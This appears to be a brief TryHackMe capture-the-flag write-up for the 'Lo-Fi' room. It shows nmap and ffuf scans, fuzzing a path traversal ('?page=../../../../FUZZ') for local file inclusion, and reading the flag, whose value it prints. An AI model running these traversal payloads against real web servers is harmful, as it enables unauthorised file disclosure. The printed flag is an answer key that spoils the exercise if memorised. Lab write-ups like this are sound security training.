Skip to content

THM Lo Fi done

Lo-Fi

Notes

OS:

Linux

Technology:

IP Address:

10.10.129.160

Open ports:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

Users and pass:

Nmap

sudo nmap -A -sV --script=default -p- -oA 10.10.129.160_nmap 10.10.129.160 ; cat 10.10.129.160_nmap.nmap | grep -E "^[0-9]{1,}/(tcp|udp)"

Ffuz: http://10.10.129.160

┌──(kali㉿kali)-[~/Desktop/writeups/THM/THM_Lo-Fi]
└─$ ffuf -u http://10.10.129.160/FUZZ -c -w /usr/share/wordlists/dirb/big.txt -ac -recursion -recursion-depth=1 -o 10.10.129.160_ffuz -of all -e .php,.html,.txt,.bac,.backup,.md,.git,.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.129.160/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .php .html .txt .bac .backup .md .git .txt 
 :: Output file      : 10.10.129.160_ffuz.{json,ejson,html,md,csv,ecsv}
 :: File format      : all
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

coffee.php              [Status: 200, Size: 286, Words: 18, Lines: 5, Duration: 49ms]
game.php                [Status: 200, Size: 284, Words: 18, Lines: 5, Duration: 60ms]
index.php               [Status: 200, Size: 4162, Words: 1375, Lines: 128, Duration: 55ms]
:: Progress: [184221/184221] :: Job [1/1] :: 763 req/sec :: Duration: [0:04:27] :: Errors: 0 ::

LFI

Ffuz: http://10.10.129.160/?page=../../../../FUZZ

┌──(kali㉿kali)-[~/Desktop/writeups/THM/THM_Lo-Fi]
└─$ ffuf -u "http://10.10.129.160/?page=../../../../FUZZ" -c -w /usr/share/wordlists/dirb/big.txt -ac -o 10.10.129.160_lfi_ffuz -of all -e .txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.129.160/?page=../../../../FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .txt 
 :: Output file      : 10.10.129.160_lfi_ffuz.{json,ejson,html,md,csv,ecsv}
 :: File format      : all
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

bin                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 49ms]
boot                    [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 102ms]
dev                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 60ms]
etc                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 161ms]
flag.txt                [Status: 200, Size: 3915, Words: 1358, Lines: 124, Duration: 107ms]
home                    [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 51ms]
home page.txt           [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 51ms]
home page               [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 53ms]
lib                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 51ms]
lost+found              [Status: 200, Size: 3988, Words: 1368, Lines: 124, Duration: 50ms]
lost+found.txt          [Status: 200, Size: 3992, Words: 1368, Lines: 124, Duration: 53ms]
media                   [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 55ms]
mnt                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 55ms]
opt                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 62ms]
proc                    [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 56ms]
root                    [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 52ms]
run                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 55ms]
sbin                    [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 54ms]
srv                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 50ms]
sys                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 173ms]
tmp                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 61ms]
usr                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 60ms]
var                     [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 54ms]
:: Progress: [40938/40938] :: Job [1/1] :: 657 req/sec :: Duration: [0:01:12] :: Errors: 0 ::

Read flag: flag.txt

http://10.10.129.160/?page=../../../../flag.txt
---
flag{e4478e0eab69bd642b8238765dcb7d18}

Lessons Learned

Tags